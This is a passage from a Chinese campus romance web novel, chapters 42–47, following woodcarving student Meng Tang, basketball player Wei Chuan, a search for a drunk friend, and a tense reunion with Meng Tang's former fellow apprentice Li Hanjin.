《再近点,就失控了》 第42章 你喜欢就行 孟棠昨天请了一天的假去博物馆,也没耽误她拜托同学帮她交了作业。 今天上午内部搞了个评选,孟棠的作品一致被推崇。 老师让她上来讲创意想法。 又来这套,孟棠指了指:“不都在这里写着嘛。” 不情愿的样子惹得同学一阵哄笑。 老师敲了下她的头:“作品大气,人怎么可以相反着来?我是为你好。” 孟棠无奈,硬着头皮上。 如果她雕刻,周围有一群人,她完全自得,可在多人面前讲话,她浑身不自在。 老爷子也说过,木头的缄默,她学了十成十。 两三句讲完,老师无奈了:“就不能多讲点。” 孟棠无辜:“……可我讲完了。” 老师摆了摆手:“你那尊参赛的木雕修好没?” 孟棠以为老师在催,诧异道:“提交时间不是在12月吗?” “我就是提醒你一声。” “12月可以交。” “行。” — 下午,孟棠将木片书签带去了修复实验室。 拿出摆放到修补区,她盯着笑了声,这么个小东西还进了非遗修复实验室,规格也是给它整上去了。 不是同一块木料,也有很多种修复方法,她打算用色彩拟合法,选料嵌补,色彩融合后再定型抛光。 浮沉半日又三日,书签终于修好,并雕刻了坠饰。 晚上带回寝室试了试,刚拿起一本书,一片黄连木树叶掉到桌面上。 孟棠捡起,习惯性转了圈,那日暧昧场景浮现眼前。 她甩了甩头,将树叶重新夹回书中。 拿了别人的树叶当书签,转头就赔出去一个。 孟棠给魏川发了信息,说书签好了。 魏川早就恢复了训练,直至回寝的路上才看到,约了她明天见。 光秃秃给出去也不好,孟棠在书桌抽屉里翻出一个长盒子,是之前买簪子的空盒。 盒子不巧就是木的,看着挺搭。 至于里头的簪子,早摔坏了。 第二天是周六,孟棠和魏川约在了男寝门口,东西给完她要去一趟超市,洗漱用品基本用完了。 孟棠到时,魏川已经等着了。 随随便便往那儿一站就是一幅画,不怪那么多女生喜欢。 魏川第八次从手机屏幕上侧眸,看到孟棠,直接迎了上去:“修好了吗?” 孟棠从包里拿出盒子递给他。 魏川打开盒子后眸光一愣,修复好的书签色泽更润,他伸手摸去,触感如上等绸缎,光滑细腻。 “你到底怎么做到的?”魏川猛地抬头,语气惊喜,“神了,跟没坏过一样,而且色泽比原来更好看,淡淡的,像琥珀的光。” 孟棠说:“跟你说了你也不懂,你看看,坠饰满意吗?” 魏川再次垂眸,坠饰由同色系蜡棉绳穿起连接,底端坠着莲瓣和莲蓬,精巧夺目。 他不住点头:“好看。” “你喜欢就行。”孟棠说,“锦鲤和莲花在传统文化中本就契合,这样搭配更协调一些。” 岂止喜欢,魏川简直爱不释手,他合上盒子,问:“你当初怎么想着雕刻锦鲤的?” 孟棠说:“比起植物花卉,小朋友明显对禽兽虫鱼更感兴趣,而且他们都是学生,古代的书生爱用锦鲤书签,有鲤鱼跳龙门的寓意,我就想雕个好兆头。” “可好兆头落我头上了。”魏川咧着得意笑道,“不过我也是学生,你送给我也不亏。” 孟棠:“……” 真是脸大,明明是他抢过去的。 “好了,东西送达,我还有事,先走了。” 魏川跟上去,说:“我去买点书。” 孟棠也没说什么,直至进了学校对面的生活超市,发现魏川还跟着,她倏地转了身。 “怎么还跟着我?” “我、我去买瓶水。” 孟棠做了个“请”的手势。 魏川刚要抬步,后头有人叫了他名字。 孟棠回头,看到了许鹤清和谢泠音。 魏川问:“你们俩怎么在这里?” “今天老乡聚会,来买点东西。”许鹤清说。 原来是这样,孟棠知道他们大一就聚过。 魏川手指头虚虚划过:“你俩看着怎么不开心?不是聚会吗?” 谢泠音牵强地笑了笑,说:“其实是南山校区的一个学姐生病了,都是老乡嘛,组织人把我们聚起来,想着能不能帮一点。” 魏川:“捐款?” 谢泠音点了点头,她和许鹤清都是学生会的,有组织能力,她猜测对方的意思是想让他俩和院里沟通,组织学生捐款。 双方道了别,孟棠买了东西打算回寝室,魏川一把抢走她的洗衣液。 孟棠一愣:“你不是要买书?” “我还买什么书?”魏川示意她将另一只手的面纸也给他,“这么重,你拎得回去吗?” 孟棠:“……我可以啊,以前和石岚她们一起逛超市,我拿的东西最多。” 魏川只想说一句傻了吧唧的。 给她送到寝室门口,魏川才转身离开。 晚上九点左右,孟棠从修复室出来,接到了谢泠音的电话,醉醺醺地让去接她。 “你喝酒了?”孟棠当即往大门口走。 谢泠音迷迷糊糊“嗯”了声,地址也说不清,还是酒保拿过她手机给孟棠报了地址。 孟棠问:“我朋友是一个人吗?” 那头回:“对,就她一个人。” 孟棠:“请您一定看好,我现在就过去。” 谢泠音去的还不是附近的清吧,孟棠有些担心。 她当即给魏川打了电话,对方很快接通。 “许鹤清回寝室了吗?” 她因为跑,说话声很喘。 魏川拿下耳机扔桌上,说:“没有啊,你怎么了?” 孟棠边跑边说:“我马上路过你们寝室,泠音喝酒了,你跟我一起去接吗?” 带个男生,回来的路上也安全一点,更何况,魏川喜欢谢泠音,肯定也乐意去接。 魏川说:“你等我,我现在就下去,你先打车,我车没开过来。” 孟棠“嗯”了声。 魏川从宿舍跑出来,说:“许鹤清电话没打通,谢泠音怎么一个人在喝酒?” “不知道,快点吧。” “你慢点跑。” “快点,我没事。” 终于到了校门口,两人火急火燎上了车。 按照酒保给的地址,司机开了二十分钟。 可进了迷离昏暗的酒吧,根本不见谢泠音的身影,孟棠顿时惊出一身冷汗。 第43章 别他妈太过分 “人呢?”孟棠几乎扑到吧台上。 酒保一脸懵:“谁啊?” “刚才有个女生喝醉了,我就是她朋友,她人呢?” 酒保:“被她朋友接走了啊。” “我才是她朋友。”孟棠拧紧眉,“你怎么能让别人把她带走?” “那人也说是她朋友,你怎么证明?” “你——” “冷静点。”魏川按住孟棠的肩膀,转而问酒保,“带走她的人是男是女?什么时候走的?” “女的,刚走五分钟。” “也有可能是他们今天聚餐的人。”魏川稳住她,“你先给谢泠音打个电话,我给许鹤清打,问问看白天发生了什么。” 酒吧吵闹,两人出了大门,可谢泠音的电话显示关机。 倒是许鹤清很快接通,魏川见孟棠焦躁,开了免提,问许鹤清:“你在哪儿?” “我这边饭局刚散,怎么了?” “你们白天的聚餐什么时候散的?谢泠音一个人跑酒吧喝酒去了,现在人不见了。” “你说什么?”许鹤清又惊又惧,“你在哪儿?” 魏川说了地址。 许鹤清说:“她下午去医院了,我去忙组织的事,你把事情经过说给我听听。” 魏川:“晚上孟棠接到谢泠音的电话,让去接她,可到酒吧的时候,酒保说她被一个女的带走了。” “报警让酒吧调监控。”许鹤清声线不稳,“我现在给谢泠音打电话。” “别打了,关机。” 许鹤清在电话里“操”了一声,魏川和孟棠对视一眼,果断选择报警。 不到五分钟,许鹤清到了酒吧。 警察还没来,个人无权调酒吧的监控。 许鹤清抓了把头发,对孟棠说:“你当时怎么能挂电话呢?” “我——” 魏川觉得不可理喻,甚至上手推了一把许鹤清:“你怪孟棠干什么?又不是她让谢泠音去喝酒的,退一步说,你又有什么资格,又以什么身份在这里怪孟棠?” 许鹤清火也上来了: “可孟棠知道谢泠音喝醉了,来酒吧的路上20分钟什么不可能发生?她要是——” “许鹤清!”魏川见孟棠脸都白了,暴喝一声,“别他妈太过分。” 魏川压紧眉梢,深色的瞳孔里翻涌出暗沉沉的压迫感。 是许鹤清从来没见过的愤怒,他的理智也因此一点点拼凑回去,颓然地说了“抱歉”。 孟棠没被这声吼吓住,她仰起头看着魏川,心下暖意横生。 她拽了下魏川的衣角:“别吵了,先找泠音要紧。” 魏川冷哼一声,没再说话。 许鹤清低喃:“我他妈就不该让她去医院。” 孟棠眸光瞥过去,许鹤清从来都是清风在上,原来也会愤怒到失去理智。 魏川越想越气,转头拉住孟棠的手腕: “我先送你回学校,省得监控没查到,有些人又怪你头上。” “别,”孟棠示意他看路边,“警察到了。” 警车停住,民警下来问是谁报的警,魏川稍稍抬手,将事情和民警说了一遍。 几人刚要进酒吧大门,孟棠的手机响了。 她见是石岚,接了起来。 石岚说谢泠音喝醉了,让她回去的时候走东门带一杯红糖姜茶。 孟棠猛地停住脚步:“泠音回去了?” 许鹤清转头停下,示意孟棠开免提。 孟棠忙不迭开了免提,手机里石岚回:“回来了,也不知道在哪儿喝醉了,是楼上学姐送回来的。” 所有人松了口气。 孟棠挂断电话,想要跟警察说下情况,魏川拦了一把,上前眯着笑脸道了歉。 民警丢下一句:“人没事就行。” 许鹤清顿了顿,对孟棠说:“对不起,刚才是我态度不好。” 孟棠摇了摇头:“没关系。” 魏川在路边拦了一辆车,打开后门,喊孟棠过去。 许鹤清没动,魏川指了指前面,示意他坐副驾。 上车报了地址,三人一言不发,惹得司机看了好几眼。 魏川微微偏头,见孟棠的视线落在前头许鹤清身上,内心翻滚过说不清道不明的不爽。 出租车很快在Z大东门口停住,孟棠默默去了一家颇受女生欢迎的鲜炖店里。 现在是冬天,谢泠音喝醉,喝红糖姜茶可以驱寒暖胃。 许鹤清在门外,对一旁的魏川说:“你送她回寝的时候,再帮我说声对不起。” 魏川冷嗤,一句“你自己怎么不说”咽了回去。 见他还在别扭,许鹤清轻笑着放软态度:“我不会哄人,你帮我一下?” 魏川高高在上“嗯”了声:“勉为其难吧。” 许鹤清看破不说破:“那我先回寝室了。” 他跟过去也见不到谢泠音,还是让她休息一晚,明天再找她算账。 孟棠出来没见许鹤清,也没问一声,见魏川还跟着,转头说:“你也回去吧。” “我送你到楼下。”魏川小心翼翼瞅了眼她的脸色,“许鹤清是个狗东西,你骂两句也是可以的,我绝对不会告状。” 孟棠失笑:“我骂他干什么。” 魏川阴阳怪气“哦”了声:“明白,因为是喜欢的人,所以舍不得。” 孟棠:“……我什么时候这样说了?” 她委屈自然是有的,只是当时找谢泠音要紧,她只能将委屈压下。 刚才买完东西不见许鹤清,她莫名松了口气。 因为今晚的事,她对许鹤清生出了一点退避的心思。 “那你怎么想的?”魏川嘟囔。 “我什么也没想。”孟棠说,“我现在就想赶紧上楼,把红糖姜茶给泠音送去。” 她低迷的语气瞒不过魏川,到了女寝楼下,他突然说:“我给你讲个笑话吧。” 孟棠抬起头,一言不发,魏川以为她在等,说: “老婆让老公买菜,说‘下班买五个包子,如果看到卖西瓜的,买一个’,结果她老公带回来一个包子,老婆质问,老公说他确实看到卖西瓜的了。” 孟棠看着他,没笑。 魏川尴尬地摸了把后脑勺:“到了,你上去吧。” 孟棠进了电梯,突然慢半拍地笑出了声。 低落的心情因为这份后知后觉好了不少。 第44章 露馅了 谢泠音被石岚和杨可放在椅子上,见到孟棠,石岚无奈地往上指了指: “弄不上去,怎么办?“ 孟棠说:“把她叫醒吧,趁红糖姜茶热着喝一口缓解一下。” 杨可拍了拍谢泠音,谢泠音迷迷糊睁开眼睛:“我回来了。” “是是是,你回来了。”石岚将她扶起来,“大郎,喝药了。” 杨可忍俊不禁拍了下石岚。 孟棠也笑着舀了一勺喂给谢泠音。 喂完之后,三个人费了老劲将谢泠音弄上了床。 孟棠早就累了,洗漱完倒头就睡,迷糊间床头传来细微的动静。 她睁开眼睛,摸黑拿到手机,已经十二点半了。 她掀开床帘:“泠音,你醒了?” 谢泠音应道:“嗯,头有点疼,我下去喝个水。” “你别动,我去给你倒。” “我手机呢?” “给你充电呢,你等一下。” 孟棠下了床,将手机和温水递给她。 谢泠音缓了半晌,问:“是你接我回来的?” 孟棠:“你先回答我,怎么一个人跑去酒吧了?” “跟家里吵架了。”谢泠音懒得将那些破事说出来给孟棠添堵,“心里发闷,就跑去喝酒了。” “下次别这样了,太危险了。” “知道了。”谢泠音说,“你先睡吧,我去卫生间。” 孟棠应了声,闭上了眼睛。 隔天,孟棠又是晚上才回,给魏川的木雕底座已经刻好了。 本以为谢泠音喝醉的事已经过去,没想到周一上大课时,许鹤清给她发了道歉的信息。 很长一条,得有三百来字。 孟棠认真看完,回复了一条“没关系”后去木雕工作室将摆件和底座安装起来。 整体检查了一遍,她将东西放进盒中。 这盒子没什么特殊的,是她在网上买的。 也不知道魏川是不是跟他的摆件心有灵犀,孟棠刚忙好,他电话就进来了。 孟棠接起:“你这个电话——” 她的话被魏川截断:“许鹤清上午是不是给你发信息道歉了?” “是啊。”孟棠将手机靠在柜子上,取了大衣穿上,“你能不能跟他说一声,让他别再道歉了。” 魏川:“他电话打我这里了,说你没回他。” 孟棠将围巾在脖子上绕了一圈,说:“我回了啊,说了没关系。” 魏川:“他说想请你吃饭,你没回。” 孟棠点开了微信,确实发现了许鹤清的后续信息,她吸了下鼻子,说: “我没看见,手机放包里的,你跟他说我没生气,让他别这样了。” “好。”魏川也出了训练馆,“我听声音,你好像有点感冒。” 周六晚上在酒吧那条街上吹了许久冷风,第二天早上起来她就开始流清水鼻涕。 孟棠整理好围巾,说:“没事,你的摆件好了,我给你送去。” “我去找你吧,”魏川脚下加快,“你去哪个食堂?” “我去南边的食堂。” 她吃完饭要回寝室吃个药。 南食堂靠着训练馆,魏川说:“那我在食堂门口等你。” “好。” Z大的南北食堂在主干路两端,道路两边的树已经枯萎没有颜色。 魏川手机也没玩,双手插兜看着远处,看上去有种漫不经心的无聊。 路过的女生总忍不住去看,回头率超高。 孟棠慢吞吞进入了魏川的视野里,白净脸蛋被蓝格子围巾藏起了一半。 她看到魏川,将木雕送过去:“拿着吧,好冷。” 魏川瞥了眼她:“你穿太少了。” “不少。”孟棠越过他进食堂。 饭菜一会儿就冷,孟棠买了面,吃热乎的一口。 魏川抱紧盒子,生怕被哪个不长眼的撞到。 他在孟棠对面坐下,将包和盒子放在一旁,自己也转头买了碗面条,加了两个蛋。 重新坐下后,他拿出手机,说:“木雕多少钱,我转你。” 孟棠说:“我这是二级料,给600就行。” 忙活这么久,因为受伤耽误了个把月,魏川停顿了一下:“真的只有六百?” 孟棠点点头。 魏川将六百转了过去,孟棠直接收了。 “看完不要声张,我真怕再有人找我做活,我真的没时间。” 魏川轻笑:“知道,我一定不会炫耀的。” 孟棠筷子一顿,小声说:“你对自己挺有自知之明的。” 魏川辩驳:“我这是自我认知清晰。” 孟棠可辩不过他,吃完就走了。 Z大不少风景都一绝,魏川牢记孟棠的叮嘱,在湖边找了个没人的位置,小心翼翼打开了木盒。 阳光洒落,温柔的光浸入木盒里的木雕之上,蜜色光泽温柔流转。 魏川几乎忘了呼吸,太漂亮了! 刀痕转折流畅,线条活络。 魏川碰了下篮球,被指腹上粗糙的颗粒感惊住了,他又用指腹划过,篮球竟转了一圈。 “卧槽。”他下意识脱口而出,“还可以动?” 他像得了玩具的小孩,爱不释手地拨动。 再看青年,衣纹自然,表情自得,将他的神态刻得恰到好处。 魏川没忍住笑道:“我有这么臭屁吗?” 欣赏了半小时,魏川给教练请了两个小时的假,亲自将木雕送回了家里。 全家都是大忙人,只有从小照顾他的阿姨迎了上来:“你怎么回来了?” 魏川指了指床头柜上的东西,说:“阿姨,不准让任何人动它,房间打扫你亲自来,每天都要拍照给我检查。” “……知道了。” 马尔济斯热情地拱开门,魏川虽然嫌弃,还是抱起来揉了一把。 他拿出手机抱着狗自拍了一张,给孟棠发了过去:【看,我跟你说过的马尔济斯。】 戴着紫色发夹和小裙子,脖子上还挂着条珍珠项链,孟棠回复:【很可爱。】 魏川:【娇气得很。】 孟棠刚要回,却突然点开照片放大。 只露了一个角,但孟棠绝不会认错,魏川床头摆放的就是她中午给的木雕。 他不是要告白吗?带回家干什么? 孟棠在手机上输入:【还有一个多月放寒假了,你当时说拿到木雕就告白,你把它带回家干什么?】 魏川回头一看,操,露馅了! 第45章 你他妈要干什么 魏川心虚,半晌才回复: 【放寝室怕被他们弄坏,我放家里。】 梁衡毛躁也不是一天两天了。 孟棠:【……】 魏川也不知道她信没信,反正他自己信了。 孟棠也不好对别人告白的事指手画脚,聊了两句就结束了。 魏川指腹从手机屏幕上缓缓滑过,知道自己这段时间不太对劲。 邵一鸣他们总问自己什么时候告白,要不要兄弟助阵。 搁在以前,他得指着他们说:“一个跑不了。” 可最近他们七嘴八舌,他也推三阻四。 田聿开玩笑他是不是移情别恋了,他当时莫名其妙心跳加速。 看到孟棠雕刻的摆件,第一想法不是送出去告白,而是据为己有。 事实上,他也这么做了。 孟棠问的时候,没人知道他有多心虚。 偏偏他还给自己找借口,反正谢泠音也不喜欢。 孟棠自然不知道他的想法,她的修复工作进入尾声,大概中旬能交上去。 手机震动,通知下周一晚上七点在报告厅有院系讲座。 主题还跟木雕有关,当看到主讲人的名字时,孟棠一愣。 竟然是他! 连着几天,孟棠都有些心不在焉,直至周一,她第一个抵达报告厅。 第一排都是主讲人的团队和主办单位的领导,还有媒体记者的预留座。 孟棠选了第二排正中间的位置。 报告厅很快座无虚席,投影屏泛着冷光,映得孟棠瞳孔深处幽幽。 主讲人李寒津风度翩翩,模样俊雅,不少女生挨着头讨论。 讲座主题是和非遗对话,结尾会预留15分钟集中提问。 有人问李寒津结没结婚,有人问黄杨木雕的破界,还有人问木性与塑性。 孟棠缓缓举起了手。 李寒津做了个“请”的手势:“最后一个问题,请这位白衣服的同学回答,请问你叫什么名字?” 孟棠站起,接过旁人递过的话筒,说: “我是雕塑系大二的孟棠,我想问李先生,您觉得木头有魂吗?” 其他人都称李老师,就她称呼李先生,话里行间的语气藏着锐利的锋芒。 李寒津展唇一笑,反问:“你觉得呢?” 孟棠浅笑:“雕刻时,若遇树结和虫蛀,木头会提醒你的刻刀去调整,再应变设计,这是木魂授艺,我自然觉得有。” 李寒津说:“我跟你一个想法。” 孟棠嗤笑:“所以你觉得CNC雕刻出来的东西同样有魂?还是你的魂魄是联名款黄杨木雕的盲盒单月销售额破百万?” 满目皆惊,谁都知道这话算不上客气。 一旁的谢泠音在桌下拉了下孟棠,孟棠没动,直直盯着李寒津。 李寒津没说话,倒是他的助理发声了:“同学也不必这样犀利啊,和某些品牌联名并不代表我们的李老师不发扬传统手工艺,这两者并不矛盾,只是——” “你是说你们一个月销售额超百万的联名款都是李老师亲手雕的?” 用脚趾头想都不可能。 李寒津拦住助理,说: “以前的边角料或扔或烧,我用它来制作成千上万个书签,让别人也感受一下黄杨木的温度,这难道不是发扬?” 孟棠沉默片刻,放下了话筒。 讲座散去,她没和室友一起回寝,一个人漫无目的,竟来到了半废弃的篮球场。 她知道李寒津跟过来了。 “小丫头长大了,看见师兄也不叫人。”李寒津缓缓上前,笑着说。 孟棠在台阶上转过身:“我刚才不说话,不代表我认同你,只是各人有各道,我不能毁了你的道。” 李寒津:“那假设我们还在报告厅,你会说什么?” 孟棠从书包里拿出一个书签,掰断了给李寒津看。 “李先生,你确定你的消费者知道这是黄杨木?而不是某某品牌的联名?” “断面灰白,胶水痕迹严重,你别告诉我你不知道。” 李寒津目露惊讶:“这……这是椴木粉压合成型的?只有表皮是黄杨木。我真的不知道他们这样糊弄,我回去一定会查。” “你知不知道也不重要,反正跟我也没什么关系,只是我不认同你这样方式的传承。” 她刚想越过他离开,李寒津猛地叫她:“小师妹。” 孟棠微怔,这句小师妹,还停留在四年前。 李寒津比她大七岁,是她小时候的玩伴兼师兄。 虽然入门晚,但天赋极高,老爷子时常夸奖。 可孟棠16岁那天,他被逐出师门,她至今不知道原因。 老爷子从来不提,也不许她问。 再见李寒津,孟棠也没想到是这样的光景。 李寒津叹了声气:“你一声师兄也不愿意叫?” 孟棠:“离开师门,自然也不算师兄了。” 李寒津知她为难,笑道:“不叫师兄也行,叫津哥吧。” 孟棠:“……” “你是不是还在生气当年我拒不认错?” 孟棠觉得荒谬,笑得讽刺:“我连你当年犯的什么错都不知道。” “事情都过去了,你既然不愿意认师兄,那就当朋友相处?” 孟棠说:“不早了,我回寝了。” “你不用怕师父,他老人家还在千里之外呢。” “我当初要是犯了行业大错,还能有如今的成就?师父哪还能容我在这行声名鹊起?” 孟棠自然知道这点。 “不早了,我要回寝了。” “明天吃个饭?” “没空。” “那什么时候有空?” “一直都没空。” “孟……” “棠”字还没出口,李寒津痛叫一声,整个人往后仰去。 魏川拽住孟棠的手腕,又狠狠踢了李寒津一脚:“你他妈要干什么?” 孟棠懵了,李寒津也被打懵了,颤着手指着魏川:“你——” “你什么你?大晚上的在这骚扰女学生,当我们学校没人是吧?” 球员打人,孟棠心凉了半截,她两手并用抓住魏川的胳膊,跟他解释:“你误会了,他没骚扰我。” “我两只眼睛都看见了。”魏川大为光火,“你别害怕,站我身后。” “他是院里请来讲座的专家,你真的弄错了。” “……” 魏川呆若木鸡。 第46章 孟棠骗了他 孟棠将李寒津扶起来,小心翼翼地问:“你没事吧?” “我眼镜呢?”李寒津狼狈不堪,抓着孟棠问。 魏川实在不爽他的爪子抓着孟棠,自己过去扯了一把,指了指地上:“那儿。” 孟棠松开李寒津,捡起眼镜。 魏川半路截胡,抢了眼镜塞到李寒津手中。 李寒津颤巍巍地戴上,这才把魏川看清楚,只是仰头张嘴,脸上青紫的模样略为滑稽。 孟棠推开魏川,对李寒津说:“你能不能别跟他计较。” 如果李寒津追究,魏川会被学校记过,最坏的结果会禁赛处分。 这个道理,她明白,魏川自然也明白。 可他不愿意让孟棠对李寒津低声下气。 “我不用你给他道歉,我自己——” 话说一半,孟棠转头瞪了他一眼:“你闭嘴。” 魏川愣了下,随后笑着“哦”了声。 孟棠:“……” 他疯了?被骂了还这样开心? 李寒津眸光在两人之间逡巡,一眼看穿这个叫魏川的男生喜欢孟棠。 他“嘶”了声,对孟棠说:“你的面子我当然不会不给,但跟你约个饭就这么难?我们好歹四年没见了,以前的十几年我对你怎么样,你应该清楚的。” “你、我和师父相依为命,我即便离开了,依旧把你们当做亲人。” 魏川算是发现了,这个什么狗屁专家想要以此为借口约孟棠吃饭。 他嗤笑了声,说: “事情是我做的,这位专家没必要以此来要挟孟棠陪你吃饭,虽然我从你话中听出你们认识。” “既然都相依为命了,感情应该可以的,怎么还卖上惨了?” “你可以跟学校反应我打了你,但这黑灯瞎火的,我远远看见你拉着我们学校的女同学,正气使然而已。” “想要赔礼道歉,我都可以配合,不用为难别人。” 李寒津也笑:“你打人是事实,我却没有纠缠女同学,事实是我跟孟棠自小相识,这件事闹开了,你觉得对你没影响?” 孟棠拦住魏川,对李寒津说了一串数字:“这是我号码,今天很晚了,明天再说行吗?” 李寒津微微颔首:“好,那你早点休息。” 李寒津走后,魏川小声嘟囔:“你为什么把他带到这儿来?” 单方面认为这是他俩秘密基地的魏川有些接受不了。 “他自己跟过来的。”孟棠说,“没想到会遇见你。” “那你明天真的要跟他吃饭?” “我明天有课。” “那就行,这事是我做的,不需要你为我道歉,我自己会解决。” “知道了。” 魏川抿了下唇,装作不经意地问:“他是谁啊?” 孟棠回:“曾经的师兄。” 魏川心里咯噔:“你俩从小就认识?” 孟棠“嗯”了声:“他有天赋,在我7岁那年来了我家,四年前犯错被我爷爷逐出师门了。” 魏川来劲了:“那他人品不怎么样啊,被逐出师门的人不是欺师灭祖就是背信弃义,你还是离他远点吧,老爷子真是火眼金睛。” “……”孟棠停下脚步,转头看着魏川。 魏川眨眼:“我说错了?” 孟棠失笑:“你对他意见还挺大,不过事情不是你想的那样,他也不是欺师灭祖被赶出门的。” 孟棠的维护让魏川心里不得劲,但他确实不了解这段过去,不好再贸然下定论,以免惹孟棠厌烦。 孟棠第二天上午确实有课,李寒津约了她晚上吃饭。 晚上光线不如白天,能遮一下面部的伤情。 孟棠同意了。 魏川出了训练馆,田聿追上来问:“川哥,一起吃饭吗?” 邵一鸣笑道:“你缺心眼?你川哥现在要去给人家赔礼道歉,还有空跟你一起吃饭?” 他昨晚打了李寒津,今天跟教练说了。 教练差点没把他生吞活剥,还说今天不解决这件事就停了他的训练。 他从院领导那里拿到了李寒津居住的酒店地址和私人号码。 院里本要派个老师和他一起解决,魏川不想让别人看见他道歉的怂样,再三保证自己会解决。 刚出校门口,教练不放心,打了一个电话过来,让魏川等等,陪他一起去。 “教教教…教练,”魏川声线都颤抖了,“您还是等我好消息吧。” 开什么国际玩笑,让老贺过去,一言不合打起来,最后他这个道歉的变拉架的了。 老贺他到底有没有自知之明? 魏川在校队群里吐槽了这件事,惹得邵一鸣他们狂笑。 返回时,在页面看到孟棠,魏川发了条信息过去:【今天李寒津约你了吗?】 孟棠从包里拿出手机,看到了魏川的信息。 她顿了顿,回复:【没有。】 孟棠看着他回复的“那就好”三个字无奈一笑。 魏川根本不了解李寒津,他这个人天赋高是真的,记仇也是真的。 小时候被别人欺负,李寒津瘦弱打不过别人,但他有的是招。 长成十四年无人教导,尽是些损招阴招。 爷爷说过他性格里有危险极端的一面,是由于家庭环境造就的。 可老爷子惜才,舍不得好苗子,便对他循循善诱。 两三年时间,李寒津改变了很多,对他认为重要的人极其护短。 可对别人,孟棠知道,他从来没有那份善心。 魏川打了李寒津,跟她沾点关系,她不能让魏川被处过。 “博物馆青少年木雕体验活动,是你去的吧?” 孟棠一愣,转头看着李寒津:“你怎么知道?” 李寒津笑道:“原定的人是我,其实是因为我知道你在这里上学,想过来看看你。” 孟棠:“我说馆长怎么追出来问我愿不愿意给联系方式。” “你还跟以前一样。”李寒津说。 孟棠不是跟他来叙旧的,餐厅近在眼前,她踏上台阶,对李寒津说: “你知道我是为了什么来的。” 李寒津:“知道,吃完饭,我绝对不会为难你朋友。” “嗯,进去吧。” 两人身影消失在禾喜院的门口,魏川足足愣了三秒,才反应过来孟棠骗了他。 他顿了顿,跟了进去。 第47章 吵架 禾喜院一楼大厅雅致清新,孟棠和李寒津半隐半现在隔断后。 李寒津给孟棠盛了一小碗汤推过去:“都是你喜欢吃的菜,尝尝?” 孟棠垂眸,满桌确实都是她喜欢的,不过她已经吃过一次。 想到这里,孟棠思绪飘远—— 魏川让服务员上菜的时候,问了有没有用猕猴桃腌制过的肉类。 服务员说有一道菜的牛里脊腌制过,魏川瞟她一眼,撤了这道菜。 李寒津知道她猕猴桃过敏,但不知道牛肉用猕猴桃腌制过,见她没动,问她怎么不吃。 既然来了,孟棠不会拂他面子,举起筷子夹了块排骨放进碗中。 李寒津也动了筷子,只不过没吃两口,又问: “你跟那个叫魏川的男生是什么关系?” 他戴着鸭舌帽,吃饭也没拿下,说话时唇角牵动伤口,有些疼,不过也没能阻止他对上心孟棠。 “朋友。”孟棠头也没抬。 同学和朋友程度不一样,李寒津沉默了一瞬,故作玩笑:“你以前连个女生朋友都少,果然进了大学不一样了。” “这跟我上大学有什么关系?”孟棠不太理解,“朋友还分男女吗?相处过程中如果聊得来,都能算朋友吧。” 李寒津轻笑:“我听过一句话,男女之间没有纯友谊。” 孟棠放下筷子:“你是觉得我跟魏川有什么吗?” “也不怪我多想吧。”李寒津说,“你挺护着他的。” 孟棠反问:“我不该护着吗?他打你是因为我,换做任何一个人,我都会请求你不要追究。” 李寒津:“昨晚我问了你们学校的领导,他是运训生,打篮球的。” 孟棠呼吸一顿:“你还说什么了?” 李寒津耸了耸肩:“放心,我没将他打我的事说出去。” 孟棠动了动唇,垂眸继续吃饭。 李寒津又问:“你跟他怎么认识的?” “……” 孟棠言简意赅:“找他当模特认识的。” 李寒津“哦”了声,不动声色看着孟棠,瞳孔深处克制着温柔。 之后他什么都没再问,也答应孟棠不再为难魏川。 出了餐厅,李寒津提出送她回学校。 “你送我回去被人看见,我会成为议论焦点。”孟棠拒绝道。 “行。”李寒津笑笑,“那你回去注意安全。” 孟棠抬起手,小幅度地挥了下。 李寒津这才转身离开了禾喜院。 站在原地许久,孟棠嘟唇吐出一口气,可算是解决了。 若是李寒津坚持追究,魏川绝对讨不到一点好处。 不论对错,他打人是事实。 孟棠下了台阶,忽而脚步一顿,余光捕捉到熟悉的身影,她猛地转过身。 禾喜院大门右侧的墙壁下,魏川面无表情立在那儿,跟人形立牌似的。 孟棠懵了一瞬,走过去问:“你怎么在这儿?” 魏川下了台阶:“我找院里领导拿了李寒津的酒店地址,打算过来道歉。” 孟棠说:“不用去了,他已经答应不会追究。” 魏川蹙眉:“我不是说了,这件事我自己解决。” 孟棠察觉到语气里的紧绷和不悦,不明白他在怪什么。 不过她不擅长和人争论,就事论事道:“你不了解他,他这个人……” “对,我是不了解他,他是你师兄嘛。”魏川胸腔萦绕着一股火。 孟棠:“……” 魏川拿出手机,翻给孟棠看:“你还骗我,你是觉得我冲动,知道你替我去解决问题不乐意,再去把他打一顿?” “我没这么想。”孟棠也皱起眉头,“事情已经解决了,你为什么抓着莫名其妙的东西不放?” “你要实在想道歉,你现在就去李寒津住的酒店,你看他会不会见你。” “他——” “还有,”孟棠学以致用,打断他的话,“你是不是跟踪我?给我发信息的时候,已经看见我了吧?” “我是看见你了,但没跟踪你。” 他刚进餐厅又退了回来,偷听别人说话不合适。 他就一直等在餐厅外墙边,等了一个小时。 “那你怎么会在这儿?一副抓到我撒谎,要质问我的样子?” “我没质问你,只是觉得我自己做错的事我自己承担。” 孟棠叹了声气:“我说真的,你去的话,他不会见你。” “所以他就是故意的,不就是想让你过去?”魏川拔高音量,“你们在里面聊了什么?追忆童年往事吗?” 孟棠沉默了一瞬,转身就走。 她今晚受到的质问够多了。 魏川下意识跟上去,孟棠又骤然回头转过了身。 “砰”一声闷响,两人撞了满怀。 魏川块头大,他是一棵树的话,孟棠就是一片叶,魏川不动如山,她整个人往后仰。 “哎!”魏川一把将人搂回去,“没事吧?” 手掌下的腰巴掌大点,魏川愣了。 孟棠推开他,仰头费力地看着他:“我找李寒津不是因为你,是因为你打他跟我有关系,我不想你被学校记过,也不想你被停训或者禁赛,就这么简单。” 说完,她头也不回地走了。 魏川跟上去,在她身后保持着不远不近的距离。 他俩是吵架了吗?魏川拧着眉自问。 吵架算不上吧? 他看了眼前面的孟棠,步子跨大,试探性地喊了声:“孟棠?” 孟棠没理他。 “……” 行,吵架了。 原来她也会生气,他还以为她脾气像软和的面团。 一开始那个窝窝囊囊,跟他都不敢大声说话的孟棠到底去哪儿了? 不过这也从侧面证明,他俩确实是朋友了。 他早就发现,孟棠在熟人面前才会更生动一些。 眼瞅着人进了大门,魏川赶紧追上去。 他眼珠一转,说:“许鹤清养的两盆多肉死了,你不是说要从他喜好下手,我陪你去买?” 孟棠摇头:“不要。” “许鹤清,你也不要?”魏川简直怀疑自己的耳朵。 